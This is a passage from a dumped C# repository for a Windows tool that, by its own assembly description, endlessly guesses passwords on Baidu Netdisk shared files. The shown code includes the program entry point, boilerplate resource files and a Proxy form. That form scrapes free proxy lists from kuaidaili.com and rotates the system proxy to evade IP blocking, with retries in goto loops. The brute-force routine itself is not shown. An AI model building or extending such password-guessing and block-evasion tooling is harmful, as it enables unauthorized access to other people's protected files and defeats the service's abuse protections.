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\r\n        m10LB/oAAAAASUVORK5CYII=\r\n</value>\r\n  </data>\r\n</root>"
  },
  {
    "path": "TestPassword V1.8.1.0/TestPassword/Program.cs",
    "content": "﻿using System;\r\nusing System.Threading;\r\nusing System.Windows.Forms;\r\n\r\nnamespace zgcwkj\r\n{\r\n    internal static class Program\r\n    {\r\n        /// <summary>\r\n        /// 应用程序的主入口点。\r\n        /// </summary>\r\n        [STAThread]\r\n        private static void Main()\r\n        {\r\n            // 在此方法返回时，如果创建了局部互斥体（即，如果 name 为 null 或空字符串）或指定的命名系统互斥体，则包含布尔值 true\r\n            // 如果指定的命名系统互斥体已存在，则为false\r\n            using (Mutex mutex = new Mutex(true, Application.ProductName, out bool Uniquely_Identifies_TestPassword))\r\n            {\r\n                if (Uniquely_Identifies_TestPassword)\r\n                {\r\n                    Application.EnableVisualStyles();\r\n                    Application.SetCompatibleTextRenderingDefault(false);\r\n                    new HttpProxy().SwitchOff();\r\n                    Application.Run(new Main());\r\n                }\r\n                else//程序已经运行的情况，则弹出消息提示并终止此次运行\r\n                {\r\n                    MessageBox.Show(\"应用程序已经启动了\");\r\n                    System.Threading.Thread.Sleep(1000);\r\n                    // 终止此进程并为基础操作系统提供指定的退出代码。\r\n                    System.Environment.Exit(1);\r\n                }\r\n            }\r\n        }\r\n    }\r\n}\r\n"
  },
  {
    "path": "TestPassword V1.8.1.0/TestPassword/Properties/AssemblyInfo.cs",
    "content": "﻿using System.Reflection;\r\nusing System.Runtime.InteropServices;\r\n\r\n// 有关程序集的一般信息由以下\r\n// 控制。更改这些特性值可修改\r\n// 与程序集关联的信息。\r\n[assembly: AssemblyTitle(\"百度网盘分享文件密码测试器\")]\r\n[assembly: AssemblyDescription(\"百度网盘分享文件密码进行无穷测试工具\")]\r\n[assembly: AssemblyConfiguration(\"\")]\r\n[assembly: AssemblyCompany(\"zgcwkj\")]\r\n[assembly: AssemblyProduct(\"百度网盘分享文件密码测试器\")]\r\n[assembly: AssemblyCopyright(\"Copyright ©  2018\")]\r\n[assembly: AssemblyTrademark(\"zgcwkj\")]\r\n[assembly: AssemblyCulture(\"\")]\r\n\r\n//将 ComVisible 设置为 false 将使此程序集中的类型\r\n//对 COM 组件不可见。  如果需要从 COM 访问此程序集中的类型，\r\n//请将此类型的 ComVisible 特性设置为 true。\r\n[assembly: ComVisible(false)]\r\n\r\n// 如果此项目向 COM 公开，则下列 GUID 用于类型库的 ID\r\n[assembly: Guid(\"ac42684f-60e0-464c-881d-b679da8d8a7b\")]\r\n\r\n// 程序集的版本信息由下列四个值组成:\r\n//\r\n//      主版本\r\n//      次版本\r\n//      生成号\r\n//      修订号\r\n//\r\n//可以指定所有这些值，也可以使用“生成号”和“修订号”的默认值，\r\n// 方法是按如下所示使用“*”: :\r\n// [assembly: AssemblyVersion(\"1.0.*\")]\r\n[assembly: AssemblyVersion(\"1.8.1.0\")]\r\n[assembly: AssemblyFileVersion(\"1.8.1.0\")]"
  },
  {
    "path": "TestPassword V1.8.1.0/TestPassword/Properties/Resources.Designer.cs",
    "content": "﻿//------------------------------------------------------------------------------\r\n// <auto-generated>\r\n//     此代码由工具生成。\r\n//     运行时版本:4.0.30319.42000\r\n//\r\n//     对此文件的更改可能会导致不正确的行为，并且如果\r\n//     重新生成代码，这些更改将会丢失。\r\n// </auto-generated>\r\n//------------------------------------------------------------------------------\r\n\r\nnamespace zgcwkj.Properties {\r\n    using System;\r\n    \r\n    \r\n    /// <summary>\r\n    ///   一个强类型的资源类，用于查找本地化的字符串等。\r\n    /// </summary>\r\n    // 此类是由 StronglyTypedResourceBuilder\r\n    // 类通过类似于 ResGen 或 Visual Studio 的工具自动生成的。\r\n    // 若要添加或移除成员，请编辑 .ResX 文件，然后重新运行 ResGen\r\n    // (以 /str 作为命令选项)，或重新生成 VS 项目。\r\n    [global::System.CodeDom.Compiler.GeneratedCodeAttribute(\"System.Resources.Tools.StronglyTypedResourceBuilder\", \"4.0.0.0\")]\r\n    [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]\r\n    [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]\r\n    internal class Resources {\r\n        \r\n        private static global::System.Resources.ResourceManager resourceMan;\r\n        \r\n        private static global::System.Globalization.CultureInfo resourceCulture;\r\n        \r\n        [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute(\"Microsoft.Performance\", \"CA1811:AvoidUncalledPrivateCode\")]\r\n        internal Resources() {\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   返回此类使用的缓存的 ResourceManager 实例。\r\n        /// </summary>\r\n        [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]\r\n        internal static global::System.Resources.ResourceManager ResourceManager {\r\n            get {\r\n                if (object.ReferenceEquals(resourceMan, null)) {\r\n                    global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager(\"zgcwkj.Properties.Resources\", typeof(Resources).Assembly);\r\n                    resourceMan = temp;\r\n                }\r\n                return resourceMan;\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   使用此强类型资源类，为所有资源查找\r\n        ///   重写当前线程的 CurrentUICulture 属性。\r\n        /// </summary>\r\n        [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]\r\n        internal static global::System.Globalization.CultureInfo Culture {\r\n            get {\r\n                return resourceCulture;\r\n            }\r\n            set {\r\n                resourceCulture = value;\r\n            }\r\n        }\r\n    }\r\n}\r\n"
  },
  {
    "path": "TestPassword V1.8.1.0/TestPassword/Properties/Resources.resx",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<root>\r\n  <!-- \r\n    Microsoft ResX Schema \r\n    \r\n    Version 2.0\r\n    \r\n    The primary goals of this format is to allow a simple XML format \r\n    that is mostly human readable. The generation and parsing of the \r\n    various data types are done through the TypeConverter classes \r\n    associated with the data types.\r\n    \r\n    Example:\r\n    \r\n    ... ado.net/XML headers & schema ...\r\n    <resheader name=\"resmimetype\">text/microsoft-resx</resheader>\r\n    <resheader name=\"version\">2.0</resheader>\r\n    <resheader name=\"reader\">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>\r\n    <resheader name=\"writer\">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>\r\n    <data name=\"Name1\"><value>this is my long string</value><comment>this is a comment</comment></data>\r\n    <data name=\"Color1\" type=\"System.Drawing.Color, System.Drawing\">Blue</data>\r\n    <data name=\"Bitmap1\" mimetype=\"application/x-microsoft.net.object.binary.base64\">\r\n        <value>[base64 mime encoded serialized .NET Framework object]</value>\r\n    </data>\r\n    <data name=\"Icon1\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\r\n        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>\r\n        <comment>This is a comment</comment>\r\n    </data>\r\n                \r\n    There are any number of \"resheader\" rows that contain simple \r\n    name/value pairs.\r\n    \r\n    Each data row contains a name, and value. The row also contains a \r\n    type or mimetype. Type corresponds to a .NET class that support \r\n    text/value conversion through the TypeConverter architecture. \r\n    Classes that don't support this are serialized and stored with the \r\n    mimetype set.\r\n    \r\n    The mimetype is used for serialized objects, and tells the \r\n    ResXResourceReader how to depersist the object. This is currently not \r\n    extensible. For a given mimetype the value must be set accordingly:\r\n    \r\n    Note - application/x-microsoft.net.object.binary.base64 is the format \r\n    that the ResXResourceWriter will generate, however the reader can \r\n    read any of the formats listed below.\r\n    \r\n    mimetype: application/x-microsoft.net.object.binary.base64\r\n    value   : The object must be serialized with \r\n            : System.Serialization.Formatters.Binary.BinaryFormatter\r\n            : and then encoded with base64 encoding.\r\n    \r\n    mimetype: application/x-microsoft.net.object.soap.base64\r\n    value   : The object must be serialized with \r\n            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter\r\n            : and then encoded with base64 encoding.\r\n\r\n    mimetype: application/x-microsoft.net.object.bytearray.base64\r\n    value   : The object must be serialized into a byte array \r\n            : using a System.ComponentModel.TypeConverter\r\n            : and then encoded with base64 encoding.\r\n    -->\r\n  <xsd:schema id=\"root\" xmlns=\"\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\">\r\n    <xsd:element name=\"root\" msdata:IsDataSet=\"true\">\r\n      <xsd:complexType>\r\n        <xsd:choice maxOccurs=\"unbounded\">\r\n          <xsd:element name=\"metadata\">\r\n            <xsd:complexType>\r\n              <xsd:sequence>\r\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" />\r\n              </xsd:sequence>\r\n              <xsd:attribute name=\"name\" type=\"xsd:string\" />\r\n              <xsd:attribute name=\"type\" type=\"xsd:string\" />\r\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n          <xsd:element name=\"assembly\">\r\n            <xsd:complexType>\r\n              <xsd:attribute name=\"alias\" type=\"xsd:string\" />\r\n              <xsd:attribute name=\"name\" type=\"xsd:string\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n          <xsd:element name=\"data\">\r\n            <xsd:complexType>\r\n              <xsd:sequence>\r\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\r\n                <xsd:element name=\"comment\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"2\" />\r\n              </xsd:sequence>\r\n              <xsd:attribute name=\"name\" type=\"xsd:string\" msdata:Ordinal=\"1\" />\r\n              <xsd:attribute name=\"type\" type=\"xsd:string\" msdata:Ordinal=\"3\" />\r\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" msdata:Ordinal=\"4\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n          <xsd:element name=\"resheader\">\r\n            <xsd:complexType>\r\n              <xsd:sequence>\r\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\r\n              </xsd:sequence>\r\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n        </xsd:choice>\r\n      </xsd:complexType>\r\n    </xsd:element>\r\n  </xsd:schema>\r\n  <resheader name=\"resmimetype\">\r\n    <value>text/microsoft-resx</value>\r\n  </resheader>\r\n  <resheader name=\"version\">\r\n    <value>2.0</value>\r\n  </resheader>\r\n  <resheader name=\"reader\">\r\n    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\r\n  </resheader>\r\n  <resheader name=\"writer\">\r\n    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\r\n  </resheader>\r\n</root>"
  },
  {
    "path": "TestPassword V1.8.1.0/TestPassword/Properties/Settings.Designer.cs",
    "content": "﻿//------------------------------------------------------------------------------\r\n// <auto-generated>\r\n//     此代码由工具生成。\r\n//     运行时版本:4.0.30319.42000\r\n//\r\n//     对此文件的更改可能会导致不正确的行为，并且如果\r\n//     重新生成代码，这些更改将会丢失。\r\n// </auto-generated>\r\n//------------------------------------------------------------------------------\r\n\r\nnamespace zgcwkj.Properties {\r\n    \r\n    \r\n    [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]\r\n    [global::System.CodeDom.Compiler.GeneratedCodeAttribute(\"Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator\", \"14.0.0.0\")]\r\n    internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {\r\n        \r\n        private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));\r\n        \r\n        public static Settings Default {\r\n            get {\r\n                return defaultInstance;\r\n            }\r\n        }\r\n    }\r\n}\r\n"
  },
  {
    "path": "TestPassword V1.8.1.0/TestPassword/Properties/Settings.settings",
    "content": "﻿<?xml version='1.0' encoding='utf-8'?>\r\n<SettingsFile xmlns=\"http://schemas.microsoft.com/VisualStudio/2004/01/settings\" CurrentProfile=\"(Default)\">\r\n  <Profiles>\r\n    <Profile Name=\"(Default)\" />\r\n  </Profiles>\r\n  <Settings />\r\n</SettingsFile>\r\n"
  },
  {
    "path": "TestPassword V1.8.1.0/TestPassword/Proxy.Designer.cs",
    "content": "﻿namespace zgcwkj\r\n{\r\n    partial class Proxy\r\n    {\r\n        /// <summary>\r\n        /// Required designer variable.\r\n        /// </summary>\r\n        private System.ComponentModel.IContainer components = null;\r\n\r\n        /// <summary>\r\n        /// Clean up any resources being used.\r\n        /// </summary>\r\n        /// <param name=\"disposing\">true if managed resources should be disposed; otherwise, false.</param>\r\n        protected override void Dispose(bool disposing)\r\n        {\r\n            if (disposing && (components != null))\r\n            {\r\n                components.Dispose();\r\n            }\r\n            base.Dispose(disposing);\r\n        }\r\n\r\n        #region Windows Form Designer generated code\r\n\r\n        /// <summary>\r\n        /// Required method for Designer support - do not modify\r\n        /// the contents of this method with the code editor.\r\n        /// </summary>\r\n        private void InitializeComponent()\r\n        {\r\n            System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Proxy));\r\n            this.txt_1 = new System.Windows.Forms.Label();\r\n            this.txt = new System.Windows.Forms.Label();\r\n            this.SuspendLayout();\r\n            // \r\n            // txt_1\r\n            // \r\n            this.txt_1.Font = new System.Drawing.Font(\"宋体\", 13F);\r\n            this.txt_1.Location = new System.Drawing.Point(14, 57);\r\n            this.txt_1.Name = \"txt_1\";\r\n            this.txt_1.Size = new System.Drawing.Size(183, 23);\r\n            this.txt_1.TabIndex = 0;\r\n            this.txt_1.Text = \"000.000.000.000:0000\";\r\n            // \r\n            // txt\r\n            // \r\n            this.txt.AutoSize = true;\r\n            this.txt.Font = new System.Drawing.Font(\"宋体\", 14F);\r\n            this.txt.Location = new System.Drawing.Point(12, 28);\r\n            this.txt.Name = \"txt\";\r\n            this.txt.Size = new System.Drawing.Size(143, 19);\r\n            this.txt.TabIndex = 1;\r\n            this.txt.Text = \"当前尝试的IP：\";\r\n            // \r\n            // Proxy\r\n            // \r\n            this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);\r\n            this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;\r\n            this.ClientSize = new System.Drawing.Size(204, 111);\r\n            this.Controls.Add(this.txt);\r\n            this.Controls.Add(this.txt_1);\r\n            this.Icon = ((System.Drawing.Icon)(resources.GetObject(\"$this.Icon\")));\r\n            this.MaximizeBox = false;\r\n            this.MaximumSize = new System.Drawing.Size(220, 150);\r\n            this.MinimizeBox = false;\r\n            this.MinimumSize = new System.Drawing.Size(220, 150);\r\n            this.Name = \"Proxy\";\r\n            this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;\r\n            this.Text = \"自动代理服务\";\r\n            this.ResumeLayout(false);\r\n            this.PerformLayout();\r\n\r\n        }\r\n\r\n        #endregion\r\n\r\n        private System.Windows.Forms.Label txt_1;\r\n        private System.Windows.Forms.Label txt;\r\n    }\r\n}"
  },
  {
    "path": "TestPassword V1.8.1.0/TestPassword/Proxy.cs",
    "content": "﻿using Microsoft.Win32;\r\nusing System;\r\nusing System.IO;\r\nusing System.Text.RegularExpressions;\r\nusing System.Threading;\r\nusing System.Windows.Forms;\r\n\r\nnamespace zgcwkj\r\n{\r\n    public partial class Proxy : Form\r\n    {\r\n        HttpProxy httpProxy = new HttpProxy();\r\n\r\n        public Proxy()\r\n        {\r\n            InitializeComponent();\r\n            //记录Goto的次数\r\n            int i = 0;\r\n            //Goto 重新获取IP启动代理服务\r\n            Retry:\r\n            //关闭代理服务\r\n            if (httpProxy.GetSwitchState()) { httpProxy.SwitchOff(); }\r\n\r\n            i++;\r\n            if (i > 10)\r\n            {\r\n                MessageBox.Show(\"很抱歉程序暂时无法使用\");\r\n                Application.Exit();\r\n            }\r\n\r\n            string ip = httpProxy.GetProxyIp();\r\n\r\n            //通过API获取代理数据\r\n            try\r\n            {\r\n                if (!File.Exists(StaticClass.proxy)) { ObtainIP(); }\r\n                if (File.ReadAllText(StaticClass.proxy) == \"\") { ObtainIP(); }\r\n                if (File.ReadAllText(StaticClass.proxy) == \"\\r\\n\") { ObtainIP(); }\r\n\r\n                string proxy = File.ReadAllText(StaticClass.proxy);\r\n                string[] proxys = proxy.Replace(\"\\r\", \"\").Split('\\n');\r\n                ip = proxys[0];\r\n\r\n                File.Delete(StaticClass.proxy);\r\n                File.AppendAllText(StaticClass.proxy, proxy.Replace(ip + \"\\r\\n\", \"\"));\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                string str = e.Message;\r\n            }\r\n\r\n            httpProxy.SwitchOn(ip);\r\n\r\n            try\r\n            {\r\n                txt_1.Text = ip;\r\n                HttpHelp.HttpGet(\"https://blog.zgcwkj.top\");\r\n                Close();\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                string str = e.Message;\r\n                httpProxy.SwitchOff();\r\n                //Goto 重试\r\n                goto Retry;\r\n            }\r\n        }\r\n\r\n        /// <summary>\r\n        /// 获取IP\r\n        /// </summary>\r\n        private void ObtainIP()\r\n        {\r\n            File.Delete(StaticClass.proxy);\r\n            //国内普通代理\r\n            CrawlIP(\"https://www.kuaidaili.com/free/intr/1\");\r\n            CrawlIP(\"https://www.kuaidaili.com/free/intr/2\");\r\n            CrawlIP(\"https://www.kuaidaili.com/free/intr/3\");\r\n            CrawlIP(\"https://www.kuaidaili.com/free/intr/4\");\r\n            CrawlIP(\"https://www.kuaidaili.com/free/intr/5\");\r\n            CrawlIP(\"https://www.kuaidaili.com/free/intr/6\");\r\n            CrawlIP(\"https://www.kuaidaili.com/free/intr/7\");\r\n            CrawlIP(\"https://www.kuaidaili.com/free/intr/8\");\r\n            CrawlIP(\"https://www.kuaidaili.com/free/intr/9\");\r\n            CrawlIP(\"https://www.kuaidaili.com/free/intr/10\");\r\n            CrawlIP(\"https://www.kuaidaili.com/free/intr/11\");\r\n            CrawlIP(\"https://www.kuaidaili.com/free/intr/12\");\r\n            CrawlIP(\"https://www.kuaidaili.com/free/intr/13\");\r\n            CrawlIP(\"https://www.kuaidaili.com/free/intr/14\");\r\n            CrawlIP(\"https://www.kuaidaili.com/free/intr/15\");\r\n            CrawlIP(\"https://www.kuaidaili.com/free/intr/16\");\r\n            CrawlIP(\"https://www.kuaidaili.com/free/intr/17\");\r\n            CrawlIP(\"https://www.kuaidaili.com/free/intr/18\");\r\n            CrawlIP(\"https://www.kuaidaili.com/free/intr/19\");\r\n            CrawlIP(\"https://www.kuaidaili.com/free/intr/20\");\r\n            //国内高匿代理\r\n            CrawlIP(\"https://www.kuaidaili.com/free/inha/1\");\r\n            CrawlIP(\"https://www.kuaidaili.com/free/inha/2\");\r\n            CrawlIP(\"https://www.kuaidaili.com/free/inha/3\");\r\n            CrawlIP(\"https://www.kuaidaili.com/free/inha/4\");\r\n            CrawlIP(\"https://www.kuaidaili.com/free/inha/5\");\r\n            CrawlIP(\"https://www.kuaidaili.com/free/inha/6\");\r\n            CrawlIP(\"https://www.kuaidaili.com/free/inha/7\");\r\n            CrawlIP(\"https://www.kuaidaili.com/free/inha/8\");\r\n            CrawlIP(\"https://www.kuaidaili.com/free/inha/9\");\r\n            CrawlIP(\"https://www.kuaidaili.com/free/inha/10\");\r\n            CrawlIP(\"https://www.kuaidaili.com/free/inha/11\");\r\n            CrawlIP(\"https://www.kuaidaili.com/free/inha/12\");\r\n            CrawlIP(\"https://www.kuaidaili.com/free/inha/13\");\r\n            CrawlIP(\"https://www.kuaidaili.com/free/inha/14\");\r\n            CrawlIP(\"https://www.kuaidaili.com/free/inha/15\");\r\n            CrawlIP(\"https://www.kuaidaili.com/free/inha/16\");\r\n            CrawlIP(\"https://www.kuaidaili.com/free/inha/17\");\r\n            CrawlIP(\"https://www.kuaidaili.com/free/inha/18\");\r\n            CrawlIP(\"https://www.kuaidaili.com/free/inha/19\");\r\n            CrawlIP(\"https://www.kuaidaili.com/free/inha/20\");\r\n        }\r\n\r\n        /// <summary>\r\n        /// 抓取IP\r\n        /// </summary>\r\n        /// <param name=\"url\">地址</param>\r\n        private void CrawlIP(string url)\r\n        {\r\n            Thread.Sleep(50);\r\n            //Goto 重新获取代理IP\r\n            RetryUrl:\r\n            string str = HttpHelp.HttpGet(url);\r\n            if (str == \"\" || str.Contains(\"-10\"))\r\n            {\r\n                httpProxy.SwitchOff();\r\n                goto RetryUrl;\r\n            }\r\n            string tbody = Regex.Match(str.Replace(\" \", \"\").Replace(\"\\r\", \"\").Replace(\"\\n\", \"\"), @\"<tbody>.+</tbody>\").ToString();\r\n            //Goto 重新获取代理IP\r\n            RetryIP:\r\n            string proxya = Regex.Match(tbody, \"<tddata-title=\\\"IP\\\">.+?</td>\").ToString();\r\n            string proxyb = Regex.Match(tbody, \"<tddata-title=\\\"PORT\\\">.+?</td>\").ToString();\r\n            if (proxya == \"\" || proxyb == \"\") { return; }\r\n            string _proxya = proxya.Replace(\"<tddata-title=\\\"IP\\\">\", \"\").Replace(\"</td>\", \"\");\r\n            string _proxyb = proxyb.Replace(\"<tddata-title=\\\"PORT\\\">\", \"\").Replace(\"</td>\", \"\");\r\n            File.AppendAllText(StaticClass.proxy, _proxya + \":\" + _proxyb + \"\\r\\n\");\r\n            tbody = tbody.Replace(proxya, \"\").Replace(proxyb, \"\");\r\n            goto RetryIP;\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "TestPassword V1.8.1.0/TestPassword/Proxy.resx",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<root>\r\n  <!-- \r\n    Microsoft ResX Schema \r\n    \r\n    Version 2.0\r\n    \r\n    The primary goals of this format is to allow a simple XML format \r\n    that is mostly human readable. The generation and parsing of the \r\n    various data types are done through the TypeConverter classes \r\n    associated with the data types.\r\n    \r\n    Example:\r\n    \r\n    ... ado.net/XML headers & schema ...\r\n    <resheader name=\"resmimetype\">text/microsoft-resx</resheader>\r\n    <resheader name=\"version\">2.0</resheader>\r\n    <resheader name=\"reader\">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>\r\n    <resheader name=\"writer\">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>\r\n    <data name=\"Name1\"><value>this is my long string</value><comment>this is a comment</comment></data>\r\n    <data name=\"Color1\" type=\"System.Drawing.Color, System.Drawing\">Blue</data>\r\n    <data name=\"Bitmap1\" mimetype=\"application/x-microsoft.net.object.binary.base64\">\r\n        <value>[base64 mime encoded serialized .NET Framework object]</value>\r\n    </data>\r\n    <data name=\"Icon1\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\r\n        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>\r\n        <comment>This is a comment</comment>\r\n    </data>\r\n                \r\n    There are any number of \"resheader\" rows that contain simple \r\n    name/value pairs.\r\n    \r\n    Each data row contains a name, and value. The row also contains a \r\n    type or mimetype. Type corresponds to a .NET class that support \r\n    text/value conversion through the TypeConverter architecture. \r\n    Classes that don't support this are serialized and stored with the \r\n    mimetype set.\r\n    \r\n    The mimetype is used for serialized objects, and tells the \r\n    ResXResourceReader how to depersist the object. This is currently not \r\n    extensible. For a given mimetype the value must be set accordingly:\r\n    \r\n    Note - application/x-microsoft.net.object.binary.base64 is the format \r\n    that the ResXResourceWriter will generate, however the reader can \r\n    read any of the formats listed below.\r\n    \r\n    mimetype: application/x-microsoft.net.object.binary.base64\r\n    value   : The object must be serialized with \r\n            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter\r\n            : and then encoded with base64 encoding.\r\n    \r\n    mimetype: application/x-microsoft.net.object.soap.base64\r\n    value   : The object must be serialized with \r\n            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter\r\n            : and then encoded with base64 encoding.\r\n\r\n    mimetype: application/x-microsoft.net.object.bytearray.base64\r\n    value   : The object must be serialized into a byte array \r\n            : using a System.ComponentModel.TypeConverter\r\n            : and then encoded with base64 encoding.\r\n    -->\r\n  <xsd:schema id=\"root\" xmlns=\"\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\">\r\n    <xsd:import namespace=\"http://www.w3.org/XML/1998/namespace\" />\r\n    <xsd:element name=\"root\" msdata:IsDataSet=\"true\">\r\n      <xsd:complexType>\r\n        <xsd:choice maxOccurs=\"unbounded\">\r\n          <xsd:element name=\"metadata\">\r\n            <xsd:complexType>\r\n              <xsd:sequence>\r\n                <xsd:element name=\"value\" 